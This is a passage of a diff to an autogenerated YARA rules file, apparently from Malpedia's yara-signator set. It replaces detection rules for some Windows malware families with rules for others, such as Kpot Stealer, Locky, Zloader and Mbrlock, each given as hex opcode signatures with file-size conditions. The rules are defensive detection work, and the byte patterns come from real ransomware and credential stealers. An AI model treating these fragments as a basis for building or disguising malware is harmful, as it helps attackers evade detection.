+		$sequence_3 = { 8b4a04 50 0f1145c8 c745a8e0294200 0f1145d8 897dac 8975b0 }
+		$sequence_4 = { e8???????? 8b4dc8 83c414 8945cc 89851cffffff c700???????? 897004 }
+		$sequence_5 = { c745e400000000 8b410c 50 6a00 51 8b04851cfb4600 ffd0 }
+		$sequence_6 = { c68589f5ffff7d c6858af5ffff85 c6858bf5ffff72 c6858cf5ffff83 c6858df5ffff59 c6858ef5ffff3a c6858ff5ffff77 }
+		$sequence_7 = { 8d4db0 e9???????? 8d4db4 e9???????? 8d4dac e9???????? 8b542408 }
+		$sequence_8 = { e8???????? 8b7588 8d4d94 83c418 e8???????? c78568ffffffd5030000 8b8568ffffff }
+		$sequence_9 = { 8d85d42e0000 50 ff15???????? 57 ff15???????? e9???????? ff15???????? }
 
 	condition:
-		7 of them and filesize <892928
+		7 of them and filesize <1245184
 }
-rule MALPEDIA_Win_Kerrdown_Auto : FILE
+rule MALPEDIA_Win_Kpot_Stealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4e6c0456-511b-5ce5-b1ea-436b1b2f6672"
+		id = "e45631fb-3fb5-58e0-9b9b-6b34d42ff6ce"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kerrdown"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kerrdown_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kpot_stealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kpot_stealer_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "a33ff3dd3ba2b88105d1e9461a66c5947186b615b759549afa7c04ba76dcfedd"
+		logic_hash = "16f05178ea617d4330175d94df8b79c29f673ce62148ecbf2153af87111da7a0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165460,32 +172725,32 @@ rule MALPEDIA_Win_Kerrdown_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 5d c20800 85f6 75b2 83ff10 8935???????? b8???????? }
-		$sequence_1 = { 8bec 8b0d???????? b8???????? 8b15???????? 57 8b3d???????? 83ff10 }
-		$sequence_2 = { 8aca c0e206 c0e902 80e10f 02c8 8a45eb 243f }
-		$sequence_3 = { b8???????? 0f43d1 b9???????? 2bc2 50 }
-		$sequence_4 = { 0f43c1 3d???????? 773e 83ff10 }
-		$sequence_5 = { 83ff10 ba???????? b8???????? 0f43d1 b9???????? 2bc2 }
-		$sequence_6 = { 80e10f 02c8 8a45eb 243f }
-		$sequence_7 = { ff750c 83ff10 ba???????? b8???????? 0f43d1 b9???????? 2bc2 }
-		$sequence_8 = { e8???????? 46 83fe03 7cec 8b4de0 }
-		$sequence_9 = { 0f854d0d0000 eb00 f30f7e442404 660f2815???????? 660f28c8 }
+		$sequence_0 = { 03c6 50 ff75f4 e8???????? 59 59 8d4df8 }
+		$sequence_1 = { 0bce 8bc1 c1e804 33c2 250f0f0f0f 33d0 }
+		$sequence_2 = { 55 8bec ff7508 ff15???????? 83f8ff 7409 a8a7 }
+		$sequence_3 = { 8b4604 8b5df4 03d2 8d445802 e8???????? }
+		$sequence_4 = { 85c0 7427 8b45f8 03c6 50 }
+		$sequence_5 = { 57 8bf8 8b4518 0fb67005 }
+		$sequence_6 = { 8b45f4 c1e918 884b07 8945fc 8b45f0 83c308 ff4dec }
+		$sequence_7 = { 5e 5b c9 c3 0fb70f 6685c9 7440 }
+		$sequence_8 = { a8a7 7405 33c0 40 5d }
+		$sequence_9 = { 8bc1 c1e810 884306 8b45f4 }
 
 	condition:
-		7 of them and filesize <278528
+		7 of them and filesize <219136
 }
-rule MALPEDIA_Win_Equationdrug_Auto : FILE
+rule MALPEDIA_Win_Locky_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "37b1b451-51c5-5fbc-9487-21d701b707d2"
+		id = "0065ec05-3bad-56a6-868c-9fbbe2e6de6d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.equationdrug"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.equationdrug_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.locky"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.locky_auto.yar#L1-L170"
 		license_url = "N/A"
-		logic_hash = "f8f538888e4dbac5fbcd6d58b6a95043a330081a5194049d400ba3c70341afe9"
+		logic_hash = "3ed4a85dfe440bb226db6c3cc6e1aa5c521449c7aa69fbc084d35b1292d156c0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165499,32 +172764,38 @@ rule MALPEDIA_Win_Equationdrug_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 5b c21000 8bd0 56 81e2ff0f0000 53 83c704 }
-		$sequence_1 = { 0f84f4000000 8b7c2414 f7c7ff010000 0f85e4000000 8b4e04 8d442410 50 }
-		$sequence_2 = { 56 8d4c2418 c644245800 e8???????? 8d4c2414 e8???????? 84c0 }
-		$sequence_3 = { 84c0 741a 668b4ef8 660fbed0 668b46fa 52 50 }
-		$sequence_4 = { 89542414 8b542410 0fbfc2 40 0fafc1 3bfb 73c4 }
-		$sequence_5 = { c644245c00 e8???????? 83c404 89442464 85c0 c644245802 7411 }
-		$sequence_6 = { e8???????? 85c0 0f864b020000 53 8bcd e8???????? 50 }
-		$sequence_7 = { 33c0 eb07 8b4708 2bc6 d1f8 33d2 33db }
-		$sequence_8 = { 8bca b001 83e103 f3a4 5f 5e 5d }
-		$sequence_9 = { 6685c0 7537 8b442408 3dffff0000 772c c1e009 }
+		$sequence_0 = { 89b560ffffff 898568ffffff ffd7 8bf8 897de0 3bfb }
+		$sequence_1 = { 8b4db8 3975cc 7303 8d4db8 8b45d4 3975e8 }
+		$sequence_2 = { 50 50 50 894de8 8b4d08 }
+		$sequence_3 = { 8d459c 50 8d45b8 50 e8???????? 59 59 }
+		$sequence_4 = { 46 3bf0 7621 8bc8 d1e9 ba49922409 }
+		$sequence_5 = { 8bc6 03c1 3810 7412 83ff10 7204 }
+		$sequence_6 = { 837e1410 8b4610 7202 8b36 50 56 8d45f0 }
+		$sequence_7 = { 83c9ff 8bf0 51 e8???????? 40 50 }
+		$sequence_8 = { 03d3 5b c21000 e9???????? 8bff 55 8bec }
+		$sequence_9 = { 6a44 90 e9???????? 90 }
+		$sequence_10 = { 5d 90 ebf6 90 }
+		$sequence_11 = { 83c40c e9???????? 90 8d00 }
+		$sequence_12 = { 66ab e9???????? 90 8d36 }
+		$sequence_13 = { ff15???????? e9???????? 90 50 90 }
+		$sequence_14 = { 66ab 90 e9???????? 8d36 }
+		$sequence_15 = { 5e c21000 8bff 55 8bec 33c0 8b4d08 }
 
 	condition:
-		7 of them and filesize <449536
+		7 of them and filesize <1122304
 }
-rule MALPEDIA_Win_Icefog_Auto : FILE
+rule MALPEDIA_Win_Royalcli_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "048267f9-e0c5-52eb-96a2-fb16cbcf8de1"
+		id = "8a3d9888-c19a-51e8-8633-e1429e45af66"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icefog"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.icefog_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.royalcli"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.royalcli_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "1d4c21c23eefcc954f2b32ae717065ebcfe80845052716e0c9e4c85776b4e83c"
+		logic_hash = "5cdfe5e738245420de8a121061e185e2740c336e09d01f0babed3f279bcde56b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165538,32 +172809,32 @@ rule MALPEDIA_Win_Icefog_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 80e3fb 899588feffff 33d2 80c327 85ff 0f94c2 85d2 }
-		$sequence_1 = { c78530ffffff05000000 eb0f 83f803 750a c78530ffffff02000000 8b4604 50 }
-		$sequence_2 = { 751e 8b4d0c 8d450c 50 57 51 e8???????? }
-		$sequence_3 = { 8bec 53 56 33f6 39770c 7e24 33db }
-		$sequence_4 = { 8b5108 8b45f4 03d3 52 53 50 6a03 }
-		$sequence_5 = { 50 e8???????? 8b0e 8d55d4 68ffffff7f 52 894de8 }
-		$sequence_6 = { 8b5610 0bf8 8b4508 52 50 e8???????? 8b4e18 }
-		$sequence_7 = { 50 51 e8???????? 8bd8 83c408 85db 0f841b010000 }
-		$sequence_8 = { e8???????? 53 e8???????? 53 57 e8???????? 83c42c }
-		$sequence_9 = { dfe0 ddd9 f6c441 0f8572010000 dd05???????? d8d1 dfe0 }
+		$sequence_0 = { 41 3bcf 7cb5 56 }
+		$sequence_1 = { e8???????? 33f6 83c42c 3bc6 0f8c19050000 83bda4feffff1c 0f8c0c050000 }
+		$sequence_2 = { 5d c3 56 ff15???????? 5b 5f 33c0 }
+		$sequence_3 = { 898dccf9ffff 7d10 33c0 8b4dfc }
+		$sequence_4 = { 8b08 8d954cf7ffff 52 68???????? }
+		$sequence_5 = { 33f6 ff15???????? e9???????? 8b4708 }
+		$sequence_6 = { 6a01 50 e8???????? 56 8945dc e8???????? 8b55e0 }
+		$sequence_7 = { 83c414 8955e4 2bd0 8d9b00000000 }
+		$sequence_8 = { 8bbdd4f9ffff 8b9dc4f9ffff 807c3b0f00 751c 8b4b08 8b5508 }
+		$sequence_9 = { 50 e8???????? 6820010000 8d8dc0fdffff 56 51 e8???????? }
 
 	condition:
-		7 of them and filesize <1187840
+		7 of them and filesize <204800
 }
-rule MALPEDIA_Win_Pwnpos_Auto : FILE
+rule MALPEDIA_Win_Fakeword_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "abbe2d0a-a645-5f32-9b7c-0253f67ad1b4"
+		id = "dff35d24-3d8a-5dd3-be0c-60e6ee2ac528"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pwnpos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pwnpos_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fakeword"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fakeword_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "7bd328aa33dd14635d4dbb434ca27c66253964455bceaea97af6eb90a2de7f21"
+		logic_hash = "ba7599fef3200798ceac9b8a2a397ab651b3acac17ae30ecdd8eedb5f787592d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165577,32 +172848,32 @@ rule MALPEDIA_Win_Pwnpos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d8dbcf9ffff 3985b4f9ffff 8b85a0f9ffff 7306 8d85a0f9ffff 51 50 }
-		$sequence_1 = { 391d???????? 0f84a4000000 8d75d4 e8???????? 68???????? 50 c645fc01 }
-		$sequence_2 = { 51 c745fc00000000 ffd3 85c0 7507 e8???????? eb0c }
-		$sequence_3 = { 6800400000 8d8c2494000000 51 ff15???????? 85c0 7526 8b8c2498400000 }
-		$sequence_4 = { 762a 56 e8???????? 8d0445fc6c4400 8bc8 }
-		$sequence_5 = { 89564c 895e44 6a08 b9???????? }
-		$sequence_6 = { eb14 807a2100 740a 3935???????? 7302 8bd1 }
-		$sequence_7 = { 3d00010000 752d 837c241c00 7626 }
-		$sequence_8 = { e9???????? 8d9580f9ffff 52 b801000000 898d84f9ffff 898d88f9ffff 6a02 }
-		$sequence_9 = { 8bd1 8b09 eb03 8b4908 80792100 74e6 5f }
+		$sequence_0 = { 52 68???????? a3???????? 890d???????? c744240c10000000 c605????????11 c605????????22 }
+		$sequence_1 = { eb03 8b7de8 8d14b6 893d???????? }
+		$sequence_2 = { 7516 8b0a 8b6f34 25ff0f0000 03c3 03c1 }
+		$sequence_3 = { 6a00 6a10 8d7e14 56 6a04 }
+		$sequence_4 = { c684247603000031 754d 8d442454 8d8c2477030000 50 56 }
+		$sequence_5 = { 03c3 89442410 8b4804 85c9 750b 8b480c }
+		$sequence_6 = { 8b4701 8d4f09 8d743809 56 51 ff15???????? 83c408 }
+		$sequence_7 = { 8d1c02 3bd9 72f1 c6040f00 }
+		$sequence_8 = { b808000000 5e 83c440 c3 81fea1000000 7528 }
+		$sequence_9 = { 57 33c0 85d2 7e19 8bca 8bf3 8be9 }
 
 	condition:
-		7 of them and filesize <638976
+		7 of them and filesize <98304
 }
-rule MALPEDIA_Win_Rovnix_Auto : FILE
+rule MALPEDIA_Win_Yty_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6d0efd0b-959b-5f07-9cf2-cb58dc189913"
+		id = "02d4730a-30ed-52fc-baae-eabe1247d262"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rovnix"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rovnix_auto.yar#L1-L389"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yty"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.yty_auto.yar#L1-L501"
 		license_url = "N/A"
-		logic_hash = "5e2878b298d1848da7bc42b9c6ab694e8616fdab743143a73f75bed6d973bc79"
+		logic_hash = "379d5918b4988ca6f478472e8b6e04b973c7dd65b7661d4073d168551cfe004f"
 		score = 75
 		quality = 50
 		tags = "FILE"
@@ -165616,66 +172887,77 @@ rule MALPEDIA_Win_Rovnix_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bf8 83c335 c1e902 ad 2bc3 ab e2fa }
-		$sequence_1 = { 7405 57 6a00 ffd2 89442408 }
-		$sequence_2 = { 83e7f0 89542418 83c710 8bea }
-		$sequence_3 = { be???????? 8b15???????? 83e7f0 89542418 }
-		$sequence_4 = { 60 bf40090000 be???????? 8b15???????? }
-		$sequence_5 = { ff15???????? 8b550c 884304 8bc2 c1e802 25ff000000 8d4cc324 }
-		$sequence_6 = { 83c220 85c0 7404 3bc2 }
-		$sequence_7 = { 7405 8d4e1c 8908 8b4508 }
-		$sequence_8 = { 7511 ff4e18 7505 e8???????? }
-		$sequence_9 = { 85c0 e8???????? 8be5 5d }
-		$sequence_10 = { 894804 8b4608 8b4e0c 8901 894804 8b4718 }
-		$sequence_11 = { 8936 8d7e08 897f04 893f 894e14 895e10 }
-		$sequence_12 = { 83f919 7703 83c220 85c0 }
-		$sequence_13 = { 8975d0 c745d800020000 8975d4 8975dc 8975e0 }
-		$sequence_14 = { 8b7e10 eb06 8b5d0c 8b7d08 8bcf ff15???????? }
-		$sequence_15 = { 7521 8bc3 c1e802 25ff000000 8d4cc724 8b01 }
-		$sequence_16 = { 5d c3 85c9 e8???????? }
-		$sequence_17 = { 5d c3 85c0 e8???????? }
-		$sequence_18 = { 16 85c9 23d2 59 }
-		$sequence_19 = { 55 8bec 85db 85c9 }
-		$sequence_20 = { 23db 81e1ff000000 23c9 83440c0404 }
-		$sequence_21 = { 23c9 81e1ffff0000 85c0 51 85c9 e8???????? 8be5 }
-		$sequence_22 = { 8b4d08 85d2 81e1ff000000 85db 83440c0404 23d2 }
-		$sequence_23 = { 45 7d58 95 08c1 a3???????? 5c 46 }
-		$sequence_24 = { 59 23db 23d2 81e1ffff0000 85c0 85c0 51 }
-		$sequence_25 = { 20a8261ce0dc 3d6235c121 652572f7a5a7 ce }
-		$sequence_26 = { 7e27 0cc7 8e610b 69f8d60e5ca1 2e08450d }
-		$sequence_27 = { 03ea 680c000000 012c24 8b0d???????? }
-		$sequence_28 = { 17 d3fb 7127 49 ee }
-		$sequence_29 = { 4c8bdc 49895b08 49897310 57 4883ec30 33c0 }
-		$sequence_30 = { 4b af 7dce 98 }
-		$sequence_31 = { 498be8 488bfa 7429 498d4320 488bd1 498d4bc8 }
-		$sequence_32 = { 498b5b38 498b6b40 498b7348 8bc7 498be3 415f }
-		$sequence_33 = { 61 54 99 46 45 e7f2 0ad7 }
-		$sequence_34 = { 807bf9f3 53 56 b88302010b 92 090468 }
-		$sequence_35 = { 59 85c0 85c0 81e1ffff0000 23d2 85db 51 }
-		$sequence_36 = { ff15???????? 4c8d5c2460 498b5b18 498b6b20 }
-		$sequence_37 = { 488364245800 488364247000 488364247800 488d442430 4c8d4c2440 }
-		$sequence_38 = { 46 92 c55151 a2???????? d24b46 }
-		$sequence_39 = { ff15???????? b8feff0000 483bf0 480f47f0 }
-		$sequence_40 = { 23d2 85db 8b4d08 85db }
-		$sequence_41 = { 81e1ffff0000 23d2 23c9 51 85c0 e8???????? }
-		$sequence_42 = { e19b 06 6d 99 }
-		$sequence_43 = { 61 c0390e 60 da57b2 }
+		$sequence_0 = { 0f840c000000 8365d8fe 8b7508 e9???????? }
+		$sequence_1 = { 8d45f4 64a300000000 8b7508 33ff 897dd8 }
+		$sequence_2 = { 8975e0 85c9 7407 8b11 8b4204 ffd0 c745fc00000000 }
+		$sequence_3 = { 668910 8bc6 5b 8be5 5d c20400 }
+		$sequence_4 = { ffd2 8b8568ffffff 8b08 8b5108 50 }
+		$sequence_5 = { eb69 8a1402 2ad1 8bfe 80ea13 }
+		$sequence_6 = { 6a00 8d4508 c746140f000000 c7461000000000 }
+		$sequence_7 = { 750c 680e000780 e8???????? 33ff c745fcffffffff }
+		$sequence_8 = { 80ea04 b904000000 eb23 8b5508 397d1c 7303 }
+		$sequence_9 = { 85c0 52 0f95c3 ffd6 }
+		$sequence_10 = { 2ad1 8bfe 80ea04 b901000000 e9???????? }
+		$sequence_11 = { 40 3b4610 0f82dbfeffff 397d1c }
+		$sequence_12 = { 83c40c 8d8de8fdffff 51 53 53 }
+		$sequence_13 = { 8b4e10 397e14 7211 8a1402 8b3e }
+		$sequence_14 = { 894608 8945fc 56 c745f001000000 }
+		$sequence_15 = { 8bcf e8???????? 8b0e 8b5104 8b443238 }
+		$sequence_16 = { 53 50 e8???????? 83c40c 8d8de8fdffff }
+		$sequence_17 = { 7303 8d5508 8b4e10 397e14 7214 }
+		$sequence_18 = { 8bfe 8a1402 2ad1 80ea13 33c9 881407 }
+		$sequence_19 = { 8b4c3138 33db 895de8 885def 8975e0 }
+		$sequence_20 = { 807def00 8b5de8 7503 83cb02 8b16 8b4a04 }
+		$sequence_21 = { c0ea02 8ac4 80e20f c0e004 }
+		$sequence_22 = { 8b07 eb02 8bc7 8b4de0 }
+		$sequence_23 = { 8b4c1938 895dd4 85c9 7405 8b01 ff5004 c745fc00000000 }
+		$sequence_24 = { 8b85c4f5ffff 50 e8???????? 83c404 8d95c0f5ffff 33c9 52 }
+		$sequence_25 = { 8bcc 8975f4 50 e8???????? ff7510 8d4dd4 }
+		$sequence_26 = { 762a 8b4d08 8b5108 8a8210a04600 2c01 8845ff 8b4d08 }
+		$sequence_27 = { 68???????? ff15???????? 3bf4 e8???????? 8bf4 8b4594 50 }
+		$sequence_28 = { b9???????? e8???????? 51 8d8d90bcf0ff }
+		$sequence_29 = { 6bf630 8b0c8d60cb4300 80643128fd 5f }
+		$sequence_30 = { 8bec 8b4508 8bc8 83e01f c1f905 8b0c8da0244300 }
+		$sequence_31 = { 83e61f 8d3c8da0244300 8b0f c1e606 833c0eff 7535 833d????????01 }
+		$sequence_32 = { c745e401000000 e9???????? c745e000000000 8b15???????? a1???????? 01d0 }
+		$sequence_33 = { ff15???????? 85c0 0f85e3020000 68???????? 50 50 ff15???????? }
+		$sequence_34 = { 8b4804 8d4190 89840df0b8f0ff 8d8d04b9f0ff e8???????? 8b85f4b8f0ff 8b4004 }
+		$sequence_35 = { 0f851f040000 8d853cfeffff 83c01c 890424 }
+		$sequence_36 = { 8b4d0c 83e13f 6bd130 8b048500b04600 }
+		$sequence_37 = { 3bf4 e8???????? 8bf4 8b8574fcffff 50 ff15???????? 3bf4 }
+		$sequence_38 = { 01ca 0fb612 89d1 8b550c 01ca 8810 }
+		$sequence_39 = { 740c c785d4ddffffac084500 eb0a c785d4ddffffd4d44400 8b85a4ddffff 50 }
+		$sequence_40 = { 8b4508 890424 e8???????? 8945d8 837dd800 0f847a050000 }
+		$sequence_41 = { e8???????? c78562feffff00000000 8d8566feffff b960000000 bb00000000 }
+		$sequence_42 = { 8d8da8efffff e8???????? 50 8d8dd0efffff e8???????? 8d8da8efffff e9???????? }
+		$sequence_43 = { e8???????? 83ec0c 8d8ddcfbffff 0f1000 0f1105???????? f30f7e4010 }
+		$sequence_44 = { f3ab c745f800000000 c745d400000000 8b450c }
+		$sequence_45 = { e8???????? c78324020000ffffffff c78328020000ffffffff 83c414 5b }
+		$sequence_46 = { 56 53 83ec14 8b5c2420 e8???????? 85db c70000000000 }
+		$sequence_47 = { e9???????? 8975e4 33c0 39b880f94200 }
+		$sequence_48 = { 750c c785bcddffff60084500 eb0a c785bcddffffd4d44400 b802000000 }
+		$sequence_49 = { 83e63f c1ff06 6bf630 8b04bd60cb4300 f644302880 741f e8???????? }
+		$sequence_50 = { 8d15f0224100 e8???????? 58 5a }
+		$sequence_51 = { 83e826 89c2 a1???????? c744240800000000 89542404 890424 e8???????? }
+		$sequence_52 = { 0f87b1030000 ff24bd41574200 8b41e4 3b42e4 7478 0fb642e4 0fb671e4 }
+		$sequence_53 = { 57 897de8 ff15???????? 8bd0 8955ec c645fc01 c746140f000000 }
+		$sequence_54 = { c745dc03000000 eb7c c745e088044300 ebbb d9e8 }
 
 	condition:
-		7 of them and filesize <548864
+		7 of them and filesize <1097728
 }
-rule MALPEDIA_Win_Avaddon_Auto : FILE
+rule MALPEDIA_Win_Mbrlock_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "63f23353-9bc4-58e9-928a-ae89a2672871"
+		id = "daa9848d-eee7-57fa-b29b-86c1367b5691"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avaddon"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.avaddon_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlock"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mbrlock_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "a18db52df950b60c5b6d6008b561a4d13093802e02b6d570e4f6e8e4ed4f56e8"
+		logic_hash = "7a0dcc0e30832e7304006fa42a5eab963221d66f36bad91605b77fec2d75b555"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165689,32 +172971,32 @@ rule MALPEDIA_Win_Avaddon_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 55 8bec 83e4f8 8b11 83ec14 0faf5104 53 }
-		$sequence_1 = { 52 50 e8???????? 8bf0 8bfa 8b4508 03f3 }
-		$sequence_2 = { 8d4dcc e9???????? 8d4d88 e9???????? 8d4db4 e9???????? 8d4de4 }
-		$sequence_3 = { 8b4df0 e9???????? 8d4dbc e9???????? 8b542408 8d420c 8b4ac0 }
-		$sequence_4 = { 57 56 e8???????? 83c408 85c0 7535 837e6402 }
-		$sequence_5 = { 8bd0 e8???????? 8b5604 83c404 }
-		$sequence_6 = { ff75b4 e8???????? 83c408 47 897dac 81fffe000000 0f8654feffff }
-		$sequence_7 = { 8bc8 2bce 0fafcb 890a 83c204 8b4de4 41 }
-		$sequence_8 = { 034b08 4e 8b4588 6a00 52 51 56 }
-		$sequence_9 = { 8d4dd8 e8???????? c645fc0d 8b4f14 3b4f18 7437 c7411000000000 }
+		$sequence_0 = { 898e94000000 8945e4 e9???????? 8b5d10 8b7d14 8b4e0c }
+		$sequence_1 = { 8bcb bd01000000 e8???????? 8bf0 85f6 0f84f8000000 85ed }
+		$sequence_2 = { 8b4de8 8bc1 25ffff0000 2d4c450000 7475 83e802 7433 }
+		$sequence_3 = { e8???????? 8b45ec 3d00800000 74ab 8b450c 8d5594 }
+		$sequence_4 = { 894e30 50 53 8bcf e8???????? 85c0 7505 }
+		$sequence_5 = { e8???????? 8bd0 85d2 7424 817f1402000080 7519 8b470c }
+		$sequence_6 = { 8bcf e8???????? 8b4d08 894144 8b45ec 85c0 7505 }
+		$sequence_7 = { 33d2 8bd9 668b144590844a00 8b4c2430 8954242c 8bc1 be02000000 }
+		$sequence_8 = { 68ac5e0110 56 50 53 8bcf e8???????? }
+		$sequence_9 = { a3???????? 39a81c010000 7405 8b4010 eb02 33c0 ffd0 }
 
 	condition:
-		7 of them and filesize <2343936
+		7 of them and filesize <2031616
 }
-rule MALPEDIA_Win_Dharma_Auto : FILE
+rule MALPEDIA_Win_Hacksfase_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e57e8a97-3ba4-55fc-8a7a-2d2cd02d04a4"
+		id = "efd0a25a-4cca-56d9-81da-25a62e74a476"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dharma"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dharma_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hacksfase"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hacksfase_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "7cad44063f19785eb5f21218749fc586efdec21afeaf1b9147edb5d8331036bc"
+		logic_hash = "cb98da9c56e02049453f68129b331881a66f9a471f383d0aefdbab19d12d9c15"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165728,34 +173010,34 @@ rule MALPEDIA_Win_Dharma_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8945e8 8b45ec 8b4808 8b55ec }
-		$sequence_1 = { 8b4824 8b5508 8b4218 8d0c48 51 68ff7f0000 }
-		$sequence_2 = { 68???????? 6a00 6a00 e8???????? eb0e 8b4dfc 51 }
-		$sequence_3 = { 8b45e4 034530 8945e4 8b4dfc 034d30 894dfc 6a06 }
-		$sequence_4 = { a1???????? 898574ffffff 6880000000 68???????? 8b8d74ffffff 51 68???????? }
-		$sequence_5 = { 8945fc 8b4d08 0fb711 d1fa 8955e0 8b45f8 c1e818 }
-		$sequence_6 = { 741a 8b5508 83c22c 8b4dfc 8b8108000100 }
-		$sequence_7 = { 8b0c85b8bf4000 81e10000ff00 33d1 8b45f4 }
-		$sequence_8 = { d1f8 8d4c0002 51 e8???????? 83c404 8b55ec 8b4a08 }
-		$sequence_9 = { 8b55f4 83c201 8955f4 eba3 8b45f8 50 e8???????? }
+		$sequence_0 = { 81ec1c080000 53 55 56 57 6a1c 32db }
+		$sequence_1 = { 897ddc 8b45d0 03c0 8945d0 8d4dd0 51 }
+		$sequence_2 = { 53 51 ff7628 895dbc 895dc4 895dc0 895dc8 }
+		$sequence_3 = { 895008 8b4120 8b5508 895020 8b4120 }
+		$sequence_4 = { 85c0 7509 b908000000 8bfb }
+		$sequence_5 = { a806 746c b9???????? c78424bc02000003000000 c78424c002000002000000 c78424c4020000ffffffff c78424b802000010000000 }
+		$sequence_6 = { ffd6 85c0 740a 33c0 5e 81c490010000 }
+		$sequence_7 = { 83ec18 8b4120 56 33f6 }
+		$sequence_8 = { 89842418040000 e8???????? b9???????? e8???????? }
+		$sequence_9 = { ff75f0 ffd7 6a18 e8???????? }
 
 	condition:
-		7 of them and filesize <204800
+		7 of them and filesize <106496
 }
-rule MALPEDIA_Win_Bandook_Auto : FILE
+rule MALPEDIA_Win_Zloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "facf6ec8-b33d-5307-a31b-1f1e19226ca5"
+		id = "97b40e53-0323-5f57-82eb-14236d63ac31"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bandook"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bandook_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zloader"
